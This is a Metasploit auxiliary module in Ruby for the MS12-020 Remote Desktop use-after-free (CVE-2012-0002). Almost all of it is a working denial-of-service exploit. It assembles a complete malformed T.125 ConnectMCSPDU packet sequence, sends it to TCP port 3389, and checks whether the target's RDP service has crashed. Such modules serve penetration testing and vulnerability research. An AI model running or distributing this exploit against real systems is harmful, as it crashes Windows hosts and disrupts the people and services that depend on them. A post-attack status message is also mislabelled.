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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'MS12-020 Microsoft Remote Desktop Use-After-Free DoS',
'Description' => %q{
This module exploits the MS12-020 RDP vulnerability originally discovered and
reported by Luigi Auriemma. The flaw can be found in the way the T.125
ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result
an invalid pointer being used, therefore causing a denial-of-service condition.
},
'References' =>
[
[ 'CVE', '2012-0002' ],
[ 'MSB', 'MS12-020' ],
[ 'URL', 'http://www.privatepaste.com/ffe875e04a' ],
[ 'URL', 'http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ],
[ 'URL', 'http://pastie.org/private/feg8du0e9kfagng4rrg' ],
[ 'URL', 'http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html' ],
[ 'EDB', '18606' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/03/21/metasploit-update' ]
],
'Author' =>
[
'Luigi Auriemma',
'Daniel Godas-Lopez', # Entirely based on Daniel's pastie
'Alex Ionescu',
'jduck',
'#ms12-020' # Freenode IRC
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Mar 16 2012"
))
register_options(
[
Opt::RPORT(3389)
], self.class)
end
def is_rdp_up
begin
connect
disconnect
return true
rescue Rex::ConnectionRefused
return false
rescue Rex::ConnectionTimeout
return false
end
end
def run
max_channel_ids = "\x02\x01\xff"
pkt = ''+
"\x03\x00\x00\x13" + # TPKT: version + length
"\x0E\xE0\x00\x00" + # X.224 (connection request)
"\x00\x00\x00\x01" +
"\x00\x08\x00\x00" +
"\x00\x00\x00" +
"\x03\x00\x00\x6A" + # TPKT: version + length
"\x02\xF0\x80" + # X.224 (connect-initial)
"\x7F\x65\x82\x00" + # T.125
"\x5E" +
"\x04\x01\x01" + # callingDomainSelector
"\x04\x01\x01" + # calledDomainSelector
"\x01\x01\xFF" + # upwardFlag
"\x30\x19" + # targetParameters
max_channel_ids + # maxChannelIds
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x30\x19" + # minimumParameters
max_channel_ids + # maxChannelIds
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x30\x19" + # maximumParameters
max_channel_ids + # maxChannelIds
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x04\x82\x00\x00" + # userData
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x0C" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x38\x00\x06\x03" + # T.125
"\xF0" +
"\x03\x00\x00\x09" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x21\x80" # T.125
unless is_rdp_up
print_error("#{rhost}:#{rport} - RDP Service Unreachable")
return
end
connect
print_status("#{rhost}:#{rport} - Sending #{self.name}")
sock.put(pkt)
Rex.sleep(3)
disconnect
print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent")
print_status("#{rhost}:#{rport} - Checking RDP status...")
if is_rdp_up
print_error("#{rhost}:#{rport} - RDP Service Unreachable")
return
else
print_good("#{rhost}:#{rport} seems down")
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} successfully crashed the target system via RDP"
})
end
end
end
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